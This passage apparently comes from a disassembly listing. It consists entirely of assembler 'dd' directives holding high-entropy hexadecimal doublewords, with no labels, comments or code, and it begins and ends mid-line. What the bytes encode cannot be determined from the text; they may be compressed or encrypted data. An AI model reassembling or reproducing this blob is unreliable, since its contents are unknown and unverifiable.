94CC0E0h, 1005DE4h, 6B34A7B6h, 7D4C82Bh, 3A79595Fh dd 66D7E0C6h, 9C0301ABh, 16546021h, 0E6DCE823h, 0ECDD0031h dd 19815587h, 64001C0Fh, 80136303h, 23E322h, 7A40AEE5h dd 47B32B5Fh, 93C99A0Fh, 240E00ACh, 0FC502F8Ch, 64FE14h dd 0AE451665h, 0B38EE461h, 523821Dh, 54C6DC00h, 2C92B59Dh dd 0EE2016Ah, 4F607AEBh, 5C43C169h, 80484A38h, 0A1356253h dd 29FCF8h, 8AAAF340h, 5F7F4E90h, 83003AB0h, 221C10E2h dd 0B0C51247h, 7080A054h, 9FF800D2h, 20132E56h, 6E00AFBAh dd 0D066C6F6h, 0EB77C11h, 0C2330EA1h, 60C09B4Eh, 75552589h dd 0F20343EAh, 63FDF383h, 50ECB8D2h, 0AA1307E3h, 2F81C3h dd 703B7324h, 6671F560h, 3D5BD03h, 0F0870AFCh, 18000D1Eh dd 0E5DFBA98h, 283C5599h, 2450F396h, 2088BD4Dh, 354FEA8h dd 53348361h, 47D8FA7Bh, 0EB01C10Bh, 0ACADF9FEh, 1840EA6Dh dd 0F64C2963h, 54EB01BBh, 53414219h, 73FC24B9h, 0E11ECE26h dd 76017716h, 0F4ACD0C7h, 0F789F8h, 556F2F18h, 0A40014Dh dd 0E01AF306h, 2660670Fh, 17564E9h, 22E92EBh, 0BB708541h dd 301231C3h, 0CACF205h, 0E91C61C0h, 70CD0055h, 26AFB92Eh dd 14009603h, 0BCAB5135h, 4EF077h, 7B4CA920h, 0AD56BEB6h dd 39531E0Fh, 214BA0D6h, 0F81A5065h, 99900B4h, 0E446D8C9h dd 0DD000D33h, 4111CB67h, 709B65h, 0BBD16A9Ch, 8239EE61h dd 322C4600h, 73FD6C2h dd 98253C0Bh, 0E10C8900h, 58F9C14Ah, 0A6034D70h, 73CD8D51h dd 6D49E05Dh, 7EAD0086h, 1062C9D3h, 7100C0D8h, 0E741E569h dd 1850D02Ah, 0F0AEBF39h, 0A91EB2DCh, 76403E23h, 42B68D84h dd 6B900E2h, 0F94CCEACh, 0D35C560Ch, 0A19100E2h, 129EEC4Eh dd 0D1430001h, 97AD2049h, 8001BBD6h, 4674B02Fh, 0C7F4B67Ch dd 0A2231E1Ch, 6601B8CBh, 0D179CD63h, 0B955C83Dh, 0F320A09h dd 0BDFC1024h, 0FC654D80h, 8FF6981Ch, 0BF622D5Dh, 186069C1h dd 4B034609h, 1112FF4Eh, 0C1A9097h, 0E9B5006Dh, 66E03AE1h dd 0AE00CC98h, 625DA42h, 7FEE91h, 0A029FA6Ch, 98A9D575h dd 33085Ch, 0F0E96A9Fh, 13EC6669h, 0BAE0A3E8h, 3CDBF90Eh dd 0AC5291C0h, 73D74Ah, 0C775D4CAh, 9BE64B5Ch, 0F20A0800h dd 5DEA966Ch, 4F40769h, 7BB49DAAh, 0CFF3045Fh, 15E56C0h dd 3420E3F0h, 0C1B50007h, 370F6A47h, 5200925Bh, 0E6844F1Dh dd 24D1F59Dh, 80447CFFh, 10F01CAEh, 0E43A3735h, 0E9F880DCh dd 0E23A2CAAh, 89ED00B3h, 8D3F5052h, 0D300D1D6h, 0E37686E5h dd 70EF3B6h, 0F24D4FD2h, 689980E6h, 82006D85h, 585F8894h dd 0FDAC0B4h, 0E0D364C6h, 4EB32E81h, 2EE0D2D0h, 0FF0097D5h dd 0A07ECCDCh, 7CE85AD1h, 0C533EF0h, 0C571E280h, 52B072A3h dd 7FF74D0Eh, 1C4BE06Eh, 26D365A2h, 3E0B8FFh, 0DBE930B2h dd 21E3C0B8h, 577D7C12h, 18334700h, 4DCCBFh, 584E7680h dd 14F88CA5h, 80A0B9E6h, 0D412D6C9h, 1100F977h, 6C6F3004h dd 8B6401D0h, 0C2C78A93h, 0D643F412h, 0EFB1F500h, 0F0BF46D7h dd 0B8A1727Ah, 0B08C13E2h, 0C8D0045h, 0E15D0BA3h, 5827500h dd 0A9163365h, 0AE9305C4h, 838E43D5h, 0E2F02EBCh, 0BD05A58Ah dd 0B889D3Fh, 8E686280h, 10D8A05Ch, 59FA1C39h, 937C80BAh dd 2CC3AD8h, 0D67F4B00h, 23F719A0h, 18B40097h, 26C79A4Ah dd 0E02817B1h, 9922F0F3h, 44B30095h, 0C30D182Bh, 3C60C785h dd 71DD6D48h, 74A500B7h, 9C1150D6h, 0F103D1D0h, 0F2BA39DAh dd 4E1805C3h, 8366B5CAh, 0CB91A255h, 9405207Ch, 60D74200h dd 0CEA72409h, 0F7DD242Ch, 1A8FBA24h, 0A0583D49h, 0AA186311h dd 0A1114881h, 16F40979h, 5C01049Bh, 0EF4285h, 3CEA641h dd 0C1576756h, 0B6B00982h, 3F1EF05Ah, 0AA40213Ch, 0B3DEF143h dd 0C65503CDh, 7FBB9F14h, 4007F588h, 19DFC901h, 0F0AFE386h dd 0E582E8h, 4C3B6A4h, 6D5D01F8h, 0A0B23C00h, 0FDCCE1FCh dd 91E20038h, 69F41F13h, 0EC3B33CFh, 6328040h, 0B0442107h dd 0F17FEDh, 0D90EEBA0h, 0C85BD8C1h, 64DEDD00h, 95CACD7Ah dd 2D50003h, 47460BFEh, 33F67657h, 0ABDDC50Eh, 0DAE743AAh dd 0C9B990E8h, 6D5900FDh, 51B50490h, 0DE003DE0h, 0CDED01DDh dd 16630AEEh, 821578h, 84742EE5h, 0FF146781h, 1D94EDB2h dd 1D9C9C14h, 0C80C9740h, 0F00BFD35h, 2ECBEA5Fh, 80302EBDh dd 769EB31Ch, 0F0E9D1F7h, 0F0A0E434h, 0CD2CEF2Dh, 0FF80CC31h dd 0EA46A73Ch, 17B5701Bh, 768D26h, 0C2918D4h, 5B00B16Ch dd 37258C49h, 2824137Bh, 0BB4DE99h, 1B80C063h, 7EE7A700h dd 200001ADh, 6EB25903h, 130BFF74h, 3F0A113h, 90831E3Eh dd 7D76BB0h, 384C893Ch, 5C9AA667h, 9243969Fh, 0A8065217h dd 1FB4A5F8h, 12355C5Fh, 2C8C40BAh, 0B9340C4Dh, 0AC6D2804h dd 2C90018Fh, 5D94D0h, 8D58426Bh, 0C0C1247Dh, 692EAB04h dd 84D05610h, 260D3198h, 8500E261h, 80C05E08h, 3F1315C8h dd 5696F8C0h, 0FA9D1637h, 1E357F64h, 809199AAh, 3A83170Ch dd 62008790h, 0B82BE94Ch, 7B816818h, 7D1B00EBh, 10F123ADh dd 5519F3E7h, 19DEE19Ah, 2C6B20h, 0B4DBE05Fh, 0A7F60A80h dd 6900BEE2h, 0B0E8C1CCh, 8FF43Dh, 118DD406h, 0EB32AA39h dd 5B447101h, 4B3ED6DFh, 1B449F0h, 7BFA1730h, 0FF1DBC53h dd 73DB880h, 7408092Ch, 0A5103040h, 0C170E1h, 70EF1C75h dd 7DE44BE5h, 0AF0F3C74h, 8772C746h, 0C310127Eh, 7DD982A0h dd 5B07291Dh, 9D70008Ch, 0D4E51056h, 2B99B000h, 49341442h dd 5B6E0096h, 0ADB9A80Ah, 8900D4B3h, 826AA668h, 58136B0h dd 21565170h, 226C803Fh, 7B038443h, 58F61E5Bh, 40D9F0D3h dd 2D1B03BBh, 0E603E368h, 0FE76000h, 663A5E83h, 2A550065h dd 532E4C36h, 8E00592Fh, 17D003A7h, 0BA7BEFh, 0E623412Bh dd 0BDE032B7h, 360C8700h, 37F1D898h, 0FA1109A4h, 34237E30h dd 93886C9Ah, 0E4004DEAh, 52F523B3h, 253ABCD1h, 70156FD4h dd 0A06F5E1h, 17A6028h, 40991EDFh, 8F4833Ch, 51208618h dd 54841D53h, 14812C7Bh, 3A1210ECh, 9A7C909Fh, 0E400E01Ah dd 13DFB299h, 7CC8617h, 94AA9DB1h, 1EEE7093h, 0A90E7037h dd 0C0C4043Eh, 270C7B83h, 0BFFC003Bh, 6DA2D28Ah, 7E0762EFh dd 0C3C2BAABh, 515D0900h, 4AE70283h, 0D5F924E4h, 0CA069C53h dd 89181Bh, 0FDD2F7F0h, 0BCB977F1h, 3D00547Ah, 0AD55F481h dd 0E12F0FACh, 8B0B8029h, 2A80237Ch, 0EBD5F8F9h, 25785F00h dd 54F70C30h, 0C5D90705h, 0E0E642E2h, 0A76E8BAh, 7E37FD1Eh dd 0AA5D03C0h, 3F3FBE54h, 0BD74F4CFh, 40BC9200h, 5C07CEC1h dd 3AC067B0h, 9B9A0DE0h, 20300E4Dh, 0F8008FAEh, 0CCAF6A37h dd 7A9B239h, 0AB8A9791h, 66038460h, 6E0900A2h, 7D9ADC9Eh dd 13039564h, 53BD1093h, 2A2FA1DAh, 16A4FD0h, 0EA9FA118h dd 0E4AB15B3h, 4E002324h, 0E7AD0135h, 0D50855h, 0ED0D73DBh dd 6A48575Bh, 1000C6F2h, 0FD2DCAFh, 0AACC0Ch, 0C3A3F0B1h dd 0D1E29D67h, 0ACFAB800h, 61F4D65h, 0DBB8A8BEh, 752700E0h dd 0B9540C83h, 8CC013Ah, 7B21D4h, 3DF271Eh, 0B0FAD306h dd 0CB639E00h, 0E7FF9AF6h, 0EF0F0F88h, 0F022C1B5h, 0B8C4E47Eh dd 0E108A800h, 0BB4EBD1h, 0B3C333AFh, 217F3908h, 56E1201Ch dd 0C06650C0h, 2D1204h, 0D34B001h, 848F42D8h, 0D548BC02h dd 4470D1AFh, 734F006Ch, 0DA990FFDh, 6AFA4CE0h, 0AD6408C6h dd 7DB10120h, 0EEABD8FDh, 58C32B40h, 0BBD132C1h, 5307FA8h dd 0EB9411E1h, 883B88DCh, 221C2103h, 8E2E6840h, 0FFF912h dd 37C645EEh, 0BC98F14Eh, 0A0380718h, 0EEF80h, 0E709819Eh dd 2FF4A165h, 7FA2803Ah, 7F6B21C0h, 0AAD683h, 0C308C7B9h dd 2F6242D9h, 3AA9C260h, 98743D87h, 6339272Bh, 0D4BECC80h dd 0CAE833A8h, 0D608000h, 1D28AE29h, 55D8C1B8h, 804DF790h dd 1830E9F0h, 0AAFAEDh, 0C48BF10Ch, 13756B79h, 0D4C7C301h dd 1F702F99h, 0EE6ABF8h, 83EEC1Ah, 0DD17801Fh, 0D20A7E96h dd 0C02AB32Dh, 0CFAFC9h, 46437029h, 0DDD5A3FFh, 9601B800h dd 0AE025DE9h, 0B0AC00A7h, 29462566h, 863F0862h, 4A3E00A9h dd 0B23B68E3h, 0DA123061h, 0A7481A84h, 0FD46BA3Ch, 0B4580400h dd 0D381645Bh, 0CBA400DEh, 37D4FE72h, 8001DD2h, 0AF2F090Dh dd 1289668h, 0FA5F94A9h, 0F42A2EFEh, 400D2BDh, 0C89B9FCEh dd 96967A7h, 51300E77h, 0EEA0048Eh, 0F4C3D604h, 0B28E3118h dd 9032Eh, 0A182FF98h, 0CABF0584h, 0DDC23700h, 0B776C9A4h dd 1213005Bh, 49EF43C7h, 0CB0079B8h, 7493180Fh, 0F0EE9860h dd 0F2A1004Bh, 3071FA3Fh, 0C200EACEh, 0C199233Bh, 9C66C26h dd 409A32FDh, 80A09787h, 63EBB828h, 0C989CA0Eh, 0A0554F05h dd 4BD3B91Eh, 82450067h, 1BCE74E4h, 9100F49Ah, 94A32A60h dd 7C441h, 38FAEE8Fh, 545C2C59h, 0D17DAA07h, 705066BFh dd 0EFA0BEh, 0CA0BA5DBh dd 36F414BCh, 0B8D44807h, 53705C78h, 0AA2EF8h, 59189565h dd 96EAD1EEh, 0EC48B109h, 5D91004Ch, 1ED8ED3h, 0DC790D51h dd 0FC77917Ah, 2500FE92h, 6AFD5ACBh, 0AC03320h, 0C260C13Ch dd 1B710094h, 0E8640245h, 17008E7Ch, 7A2B7359h, 0CF677Fh dd 0D7F0D222h, 0A562E59Eh, 98FF5A3Ah, 5D61860Ah, 0CC5700FEh dd 0D43B4AA1h, 0E707E354h, 211768CBh, 9F7B4A0h, 2E760039h dd 0EB54935h, 78005875h, 6387C6DEh, 584C81A6h, 9D0020F3h dd 68EB25B6h, 1F007B9Eh, 72BE20B0h, 60DB491Eh, 6D66C0EDh dd 0BD005CB8h, 0AA23B0Dh, 5E1A84h, 67886CEFh, 0CA160BFDh dd 0F8970300h, 41334571h, 70463EB4h, 4023DF00h, 536951CEh dd 2A31B61Fh, 81660DCBh, 43B5BC4Dh, 14B4ACF4h, 80A49DC7h dd 9F1D4A0Ch, 2CA81FF0h, 4C1F3AF2h, 0C947BF59h, 4E109EF1h dd 339FF03Eh, 0FEC8B372h, 0F78E01C8h, 2637B501h, 0F0AC0523h dd 0B2D3CCh, 24E29550h, 0EFD96FB7h, 596A3600h, 4F676DE0h dd 0EE9033AFh, 45E84878h, 39051247h, 0E45F0371h, 0F621A900h dd 0B61B9F8h, 58F38C5Bh, 2520DC80h, 0B0032DCEh, 0D013CC6h dd 8119D8F8h, 0C28901A3h, 85638B29h, 0ED64E05Dh, 9FC87905h dd 0E442FF22h, 40C37F56h, 669904h, 0D2551B53h, 0B5F05C33h dd 0C4023Fh, 6DFE78C8h, 64A35B37h, 0C65CB06Ah, 0DF01B01Ch dd 50A12935h, 70C415F7h, 868101CEh, 0DE3067F2h, 0DA0CB52h dd 3401F511h, 89D53C31h, 4E803E87h, 0FBD48CC1h, 2C3BE73Fh dd 0DC480ADh, 0DCEDD3C5h, 0B8177C8Eh, 4E390047h, 0A631F0B5h dd 92009ED5h, 7D333CABh, 71B746h, 3BCD156Bh, 37E07E91h dd 9300B198h, 0F4F15559h, 38E4FD6Ah, 9D9CBA61h, 2BB600BDh dd 72576CC9h, 0ED785500h, 92DBB2C0h, 0CCD73A61h, 13D04100h dd 0F5323C82h, 35290E01h, 2DC6810Fh, 134047DCh, 99FF605h dd 0AB000B0Bh, 79C012AEh, 5D27570Eh, 40C4137h, 0C2E07BA4h dd 529C0046h, 185064FCh, 0C7010FCEh, 2A15D8EBh, 3881C1D6h dd 7AD352F3h, 7CE5CC1Ah, 4361F001h, 5A7773C3h, 0DF2ECCh dd 5DDAF108h, 3FE6B2BFh, 0F9184E00h, 0D57E6A43h, 192C1D48h dd 0BCAAC028h, 50FD3A42h, 5A00E092h, 0F4490F68h, 0A13480F0h dd 0D7F02490h, 0E87C009Bh, 0B37A8711h, 5507C073h, 8B88C7E2h dd 1CE74E30h, 232501FCh, 59CAE5D5h, 0FBFFF4D2h, 1AF07DEEh dd 0BF989F00h, 0E97BE14Bh, 0C9F51FB3h, 0BCEE89h, 0A79FF873h dd 8790E7FAh, 24DB3400h, 50E2D549h, 43EEA2h, 4072F17Ch dd 7F144BDCh, 823FF724h, 0F00B4500h, 133A02h, 165F2DC9h dd 0D62C2379h, 7041A90h, 0C1A2BB42h, 70202D80h, 0E78A7CF6h dd 39F5830h, 55679701h, 0D392ADBEh, 0F043B0C1h, 0D03E90FCh dd 0C2AF80A3h, 0B5EC4FFh, 0B07A71FAh, 40DF1E04h, 4B754081h dd 5B217E86h, 10D34430h, 3DA6B055h, 478079EFh, 9A62BCA3h dd 0D8986C5Ah, 0A035EF0h, 70105BDAh, 64700163h, 1507688Bh dd 529880E2h, 0CEE95C3h, 0C85801CDh, 0E0048E4Eh, 0DA10FC06h dd 0E5AAE00h, 3F8B7526h, 0B7ECB3h, 0CFE2B113h, 6C56C33Eh dd 70577800h, 0F40EF69h, 0B5E51ED4h, 0C0B8058h, 0C8559C1Dh dd 51A6BCA0h, 0BF9B2500h, 0BADB430h, 301260FCh, 0A3AA1EEEh dd 0B6425C07h, 8410FBDEh, 106F32Fh, 0AE700307h, 93F9B4F8h dd 4C007336h, 0FD57B0C7h, 0B72E4CE0h, 0FA4B8C00h, 3EE44D9Fh dd 23002D79h, 5991A3B7h, 980D5CB5h, 52E0315h, 99525DBDh dd 95C0FFFBh, 4F0043D8h, 0F3418BFCh, 1BD93Fh, 0CA790A01h dd 0D355AC9Ch, 0FCB53404h, 66808132h, 0D2677Dh, 4E80EDFFh dd 0AFC2D905h, 1E4DD38h, 9FBBBACEh, 0EAF0C794h, 9D180F70h dd 2CAF7A79h, 16524360h, 6701B2C5h, 0BEB09E46h, 15F8D7D8h dd 0DE7C0078h, 341EE0B9h, 0EF009A3Ch, 2A0C3575h, 83C896h dd 591A72E2h, 8A1DCE2Bh, 0FA044100h, 0C834BE30h, 8352009Ah dd 0A12ED54Dh, 0B5008AA5h, 0B80C4F46h, 0E303ACEh, 626D5736h dd 0D8B11A20h, 0B200617Ah, 805AE7DEh, 60147505h, 0BA5E11BFh dd 0E26C559h, 0F43971CAh, 8744F104h, 9F811C1Ah, 608EBB8Ch dd 6FC01511h, 2E966227h, 0FF1C6B03h, 80A6350Ah, 5C9D0B4Ah dd 6A1FB47Ch, 81A3C2DAh, 8C4076A1h, 0D439FF91h, 592483DFh dd 0C8584D96h, 855F31h, 0EFAB0223h, 1289C806h, 1E66A917h dd 6A423F00h, 7BD2FD7Ah, 244E007Bh, 6852AFCCh, 0D02461B0h dd 0B0070CAh, 0A569D3Bh, 56416AAh, 51A840D7h, 6AC33FC2h dd 823A3190h, 5F53AE0h, 46250771h, 0BFCA2890h, 6038BA92h dd 16AF160Ch, 0B207E63Eh, 38280206h, 0CE56FAF0h, 6E4400F8h dd 0CAFFE2FCh, 3A07F1DDh, 770770D1h, 0E85E49A0h, 62F3974h dd 2B948500h, 71A9B9CBh, 60096300h, 624A1436h, 4C3700BEh dd 0BFBA8768h, 1B374399h, 0E587902Fh, 38007E6h, 82F367D7h dd 0D0E79B33h, 8B3AC709h, 20209932h, 0C939E086h, 660A0B5h dd 0C46CA17Fh, 52ACF980h, 22CA4CF2h, 0BE299360h, 79848Eh dd 0EB2ED755h, 26066AE6h, 770030FAh, 8B3153B7h, 8CA04Eh dd 95C6D547h, 0FFC481AFh, 941EAA00h, 0F81592E9h, 6C1000F5h dd 0A83A8D1Ch, 0EB00A56Ah, 6F4BF60h, 17B97BA0h, 0E36866h dd 37050B90h, 0A6093DA3h, 0FCCBFBh, 89A924CCh, 3BF10193h dd 22D8A73h, 0FD9340BCh, 1339E251h, 2CA48E23h, 6AB9607Ch dd 72475C1Bh, 3A5100E5h, 0A02DA5E0h, 713C0627h, 0B3E200E3h dd 0BDC6D468h, 5B88A9E9h, 0D73420h, 2C8DE8BEh, 97943C4h dd 0C5E03907h, 25D0CDB4h, 79F5414h, 0D132F5A5h, 6D934005h dd 0FA00B665h, 57D8F2BFh, 0B87876h, 81381B82h, 5C09058Bh dd 6E25FE00h, 0D13C40A0h, 9B9EA8Fh, 4BBA9133h, 4418E040h dd 98A33607h, 4250E0C5h, 16F2D09h, 0AED5FEDBh, 0CA0479A4h dd 6B050459h, 80EA5FB1h, 461A5170h, 0A3229500h, 0BCE16C4h dd 0D98400A8h, 5B333136h, 4B00D6B3h, 980322E9h, 3C71E601h dd 0D700C119h, 0E293179h, 0AD063E73h, 0FCDE5362h, 1CCF0290h dd 26FD4709h, 6AB1CC40h, 7055B14h, 65E705D3h, 3480159Ch dd 0E8BA84h, 236EB78Bh, 1ADF7DD2h, 0A99A4502h, 50C39549h dd 37720028h, 38EFC628h, 48B0C4ADh, 0CCE78139h, 14DB0120h dd 0C84C8C57h, 5100082Ch, 0F3A2A901h, 3F009EE9h, 0EE802628h dd 3FBAD144h, 88FC790Fh, 577EF0B7h, 0D2138800h, 6FE4B08Fh dd 93752Fh, 86DB43C6h, 0E5AEB5EBh, 678FFF00h, 0FAE8084Fh dd 0A8A160DDh, 62552C94h, 80E4CC3Fh, 0E271FBABh, 0F48EF66Ch dd 2F6000F8h, 0ECA805D4h, 3C0039B4h, 0CCEBE75h, 0E91501F0h dd 344EDCCh, 8A8034A8h, 0FE80D80Eh, 0A5007912h, 0A9FC60D6h dd 2BE577h, 32D9FA35h, 3E4B8344h, 0ACE8C700h, 1D88DCD3h dd 5BDF018Dh, 708CF8B7h, 0D257F884h, 4301DD79h, 23A4EC72h dd 0C8727DC9h, 0CF80513Dh, 0A68E2E98h, 0AC1BDBB2h, 0F0F8B43Dh dd 57CE6FAh, 9E966E11h, 0E448C9F7h, 7F000185h, 0EBE9008h dd 0F51659h, 370D7B67h, 976DDB81h, 0A0F9B500h, 0A9B145B2h dd 3C91018Dh, 0C34F6070h, 1C28343Bh, 7101C8B0h, 15E199FCh dd 2560F91Fh, 12DB0B89h, 0CA8018D8h, 0C5BE243Ch, 20315B01h dd 372FE533h, 3A03F6FCh, 28858BD9h, 0FE42B8h, 7D60C2E4h dd 0D207A281h, 0FF2FC83Dh, 98380Ch, 37650956h, 6EE084D1h dd 1D6D1A00h, 0FDAE4D14h, 1C79270Eh, 65521420h, 434E3467h dd 0F7883C00h, 0C19669D6h dd 0FB93B211h, 0E8B880AFh, 0A77E903Eh, 26ECC1h, 0F0BA3625h dd 6DFF9A09h, 0BCDDFB00h, 0B4A015D3h, 0B8910008h, 84AC2D72h dd 6F1644BEh, 0C0004CE4h, 0E138067Ah, 891207C0h, 6081342Bh dd 6DD5C950h, 0B8078D72h, 8AAEE575h, 607905B0h, 4FD30039h dd 0A7101B7Bh, 900009C8h, 1FA642BAh, 0C143D9h, 7237CB85h dd 2B2CF5Eh, 76B58000h, 7F69AE91h, 30BD0078h, 0D5F498B6h dd 6B0029B7h, 6C5BF1FBh, 0FD87518h, 0B05FF022h, 0E2F7D4E0h dd 45EEBC7Ah, 0C5434100h, 0B56A259h, 16991D3Fh, 20FCC06Dh dd 0AB09B847h, 29131B12h, 27242700h, 48C6D7h, 9F1AEFB3h dd 15B402AFh, 64C3A800h, 0C02FF53Bh, 38C0292h, 0F61F29B6h dd 0C2532EE0h, 0ACED1300h, 0F3C57DABh, 1BA3E856h, 1081E2A4h dd 4FCC41F0h, 969820h, 53A98B9Eh, 174AF17h, 683F4504h dd 0FAC363DFh, 0EB50D06Fh, 0D58D005Ch, 9F2D6B39h, 310054A7h dd 46EEC65Bh, 13BA24h, 0F10C7401h, 1060B7D4h, 8B67100h dd 6A288B66h, 0DD8348BDh, 99066C00h, 195BCAB5h, 0F4617717h dd 24C0191Dh, 79AE3DF1h, 33950097h, 0D6DD0AA1h, 1500F89Eh dd 301B05Ah, 0E4FCB5F3h, 3DB700A5h, 0CE38D03Eh, 4C004A19h dd 53AA7A3Fh, 2E9E43h, 20587671h, 7C9B060h, 0FD32EF1Fh dd 61100280h, 0A598Ch, 6AE25BC2h, 1CDF9572h, 0F93358h dd 91367CA4h, 0C9C0ABh, 0EFC9B2Ch, 421F5FA1h, 0EF965B00h dd 85BD9EAEh, 0EDEECCh, 0A931B138h, 0FAA2C803h, 0D205AAFEh dd 41DAE8CBh, 5589E582h, 76942760h, 7A741090h, 2B6C9205h dd 0C4077E24h, 7C61FDD6h, 0AAD81A39h, 94BE00A2h, 0E60A45BDh dd 6900420Bh, 0D75FB2E2h, 7797D157h, 479C0063h, 0C96A121Dh dd 0B0EF5E3h, 803591C6h, 0E764EA7Ch, 4E320767h, 8080813Fh dd 282D982Eh, 0D8F6E100h, 364A5247h, 0A6DE00E7h, 7533B5B9h dd 31016EAAh, 2E65C41Eh, 0DC4FC4Dh, 0AE060588h, 55265Dh dd 7305609Ch, 1763502Bh, 0D86CDE72h, 13F88Fh, 2FAE2532h dd 8D6A63F4h, 9CBA0B1Dh, 4E58013Dh, 0F11642D4h, 49B220F0h dd 76036011h, 6C94098h, 6B1A9800h, 0A381AE2Ah, 270100EAh dd 3C1053A2h, 56007FD9h, 6FD3CD82h, 97C67BDh, 2D6DB765h dd 8761EE01h, 0BF5C207Ah, 0F9A82200h, 32C9DAF6h, 7E75EBh dd 75E9E1F1h, 434DF841h, 0BD44F324h, 54E64900h, 73CA07Eh dd 87B18539h, 250A905Ch, 76F4A36Ah, 4A923A00h, 0FB5EC509h dd 2A4C0B24h, 990AB4B5h, 0F229007Ch, 87158D4Eh, 3624D500h dd 286988Bh, 5E560C50h, 0DC28F285h, 8E208967h, 0BF2A2E1Bh dd 713B05BAh, 8800AB16h, 0EE6320DBh, 25A30FC3h, 19D3E33h dd 81E8639h, 9851F0D3h, 0BE15B909h, 0ECB70389h, 0F699F8BFh dd 0DDF2DBh, 9554904Bh, 73A21F91h, 4C0C7A00h, 1CA5EAADh dd 8996019Bh, 57DD7B0Bh, 337DD0E6h, 0C5F03Dh, 694886DCh dd 1DDE723Dh, 0C06855B8h, 3CE5FFA7h, 0E2003EE7h, 0C98FF15Ah dd 7CEF7E22h, 1BB0F7h, 0EB721BA0h, 8F389411h, 117E23Ch dd 657BB60Ah, 67D08E77h, 95402A0Dh, 1C545410h, 0EF6E003Eh dd 15EADD1Dh, 883A173Ah, 0A81B808Eh, 7FA5ABEBh, 0FFFC017Ah dd 0C865DF5Eh, 0B9E0D3B3h, 3D004878h, 6CB51FB0h, 0F19A2AFh dd 257B6B89h, 154930E0h, 5A0776A4h, 9E0BD0DBh, 66722FE0h dd 0D21A00E5h, 0C7DCEDC4h, 423D6729h, 7DDA079Ah, 7EAB98h dd 6E8D362Ah, 0AFA26h, 0EECF1618h, 7CB85CCBh, 0A70076E2h dd 9E3227E2h, 721EBC8h, 2AE4D41Eh, 0E8BF302Eh, 0EA00807Ah dd 3570FD5Eh, 2DB7CA76h, 0FBF07E4Dh, 0D86FB009h, 8453086Ah dd 0E9E54700h, 0FFDE33h, 59BD4EC8h, 0FE996A74h, 0D7E61F00h dd 2F877E15h, 0CFA001Ch, 0BDDA3F25h, 3300268Ah, 1980E4E1h dd 0C664253h, 0A95CB701h, 0DE00ED8Ch, 1778BBA0h, 3B86B0h dd 0B9355FB4h, 492D386Ah, 4AD97C00h, 0E908FF4Fh, 0DC0D1EA4h dd 2CEB4039h, 8B7EFE3Bh, 740F520Bh, 507B83A7h, 41EEC033h dd 83030075h, 0D077E1BAh, 55006A05h, 0A221FDDEh, 46E6DCh dd 97D86DDh, 0FCA990FBh, 0C1A50400h, 0E8571741h, 4BF90F33h dd 0EA005C81h, 3DC8BBACh, 0FE8B1B17h, 7047B0h, 83D5D3AAh dd 5C3B9D1Ch, 2F333Fh, 0C2C19F0h, 3D8F7761h, 63002658h dd 22868066h, 0A800E141h, 4992D957h, 3E21DB24h, 98E094EDh dd 33DD47F1h, 0B06F2A03h, 0E9D25h, 416E0348h, 36698AB8h dd 1A66A012h, 27AC5847h, 0D9889D90h, 4F4C1C6Ch, 0D7C600DDh dd 0FB8FF092h, 80AE6539h, 0AA56D643h, 0FC896291h, 23B400C9h dd 1E32AD68h, 7F24A4EEh, 1DB97C05h, 6EC753CFh, 39C133EAh dd 0C0FA0212h, 1A6237Ah, 1577CF4h, 0B8B40E7Eh, 0C01580A0h dd 23C33A93h, 2C290AFBh, 0B76926h, 0E2C61D1Fh, 59601E67h dd 8C4D70A0h, 0E7F50052h, 0F06A033h, 9500574Ah, 7327BBCAh dd 0EE6CE655h, 8C463AB1h, 0BAA21381h, 0E04B0C78h, 5800B0ADh dd 0E174E5A9h, 1E4A02h, 63DC8F94h, 9F3A1A46h, 96148800h dd 0CD62E6C8h, 29D8616Dh, 0C827B643h, 0AB0079B0h, 9587A818h dd 4C2A3DBDh, 0E84C1015h, 47001C38h, 38074849h, 0B001CDC6h dd 6D3DF078h, 0EC205AF7h, 57713314h, 0BCE0E4D0h, 0FF01901Ch dd 428BF802h, 0D040C432h, 0C0792DEBh, 0B25E85B8h, 0BC010993h dd 83743865h, 0A047B567h, 0B313E7B0h, 0AB8ECC9h, 726CAE50h dd 0E6C08090h, 9E39BFEFh, 400AF103h, 0F0EB5643h, 303F723Ch dd 928F4BDh, 58078E12h, 0B06ABAE5h, 2B39DE60h, 4ABE0E5Dh dd 0B7E4D6EDh, 9020805Eh, 1A8011C4h, 52350327h, 88C21882h dd 0F0CB47F8h, 0A4B37A00h, 4695CBAh, 0D4BE00F8h, 0F1C82BD6h dd 0C9541CFDh, 8706BCA8h, 0BFCC8B94h, 3FB00789h, 0A936A864h dd 147B2C02h, 29B5F921h, 0C0B712E4h, 32FAE3F9h, 0D800E622h dd 0F160DC21h, 2A5D69DFh, 80829Ch, 0D35F16D0h, 0C1DE7064h dd 5773F800h, 5D29996Bh, 44E83DE3h, 0C99DE900h, 7D3B0297h dd 8DB55B00h, 0C740B75Eh, 0CAFE0345h, 5CE57A0Bh, 0CD088AF8h dd 0E3E80104h, 6CD72F37h, 1B95A560h, 0F9D20096h, 0EBE84D72h dd 49383A24h, 0D3690047h, 981052EAh, 0C9560028h, 12430FB0h dd 0E92EC891h, 87006260h, 0FCE7CB2Eh, 0DC270E0Ch, 7900BEEEh dd 0D5A5BCECh, 1C3E900Bh, 0E790165h, 13CC15E7h, 41F002E3h dd 1DCC3D87h, 0B083A043h, 0C4F419D8h, 0D2510F0Fh, 7E92E0E2h dd 1471095Ah, 0AC1046DFh, 5AF5A218h, 247F5364h, 37E81200h dd 0DCFCBF82h, 112F1E35h, 85FB405Dh, 33AC4A98h, 0B9A7F500h dd 0CB74251Eh, 0B7D300CCh, 170FC9AAh, 570163A0h, 712BF4B3h dd 64247899h, 0A7F60360h, 1C594A51h, 0B2DFE9D8h, 0D9F0FE0Fh dd 3856E069h, 0E709ED2h, 0CFFCAA77h, 109CE506h, 0E7BC1D00h dd 0D3C8860Ch, 6B3774B1h, 2B02CCACh, 7C60CEE9h, 6998E53Ch dd 2180F49h, 25A646CFh, 151C6927h, 774EEF8h, 8A58CD30h dd 0B7A40096h, 0EF14BCEBh, 0CFC72Ch, 0F9301A84h, 1CE64065h dd 1C0D2ECh, 0BE0AD0C9h, 33E04034h, 0D6E62BD3h, 891E4700h dd 0E99BC3B9h, 0CE2601A2h, 0DF6CC94Bh, 0A70E9FECh, 0DA777C03h dd 0BA31A883h, 1F0703DEh, 0A3148CF9h, 0BE4B3F90h, 0AB2FC300h dd 1AAC39B7h, 1E230FE7h, 11780809h, 0A003C51h, 7CADCE47h dd 7736C35h, 6594DA3Dh, 0F6247230h, 4B5FE490h, 3CE93B00h dd 0FA3DA243h, 8D33009Bh, 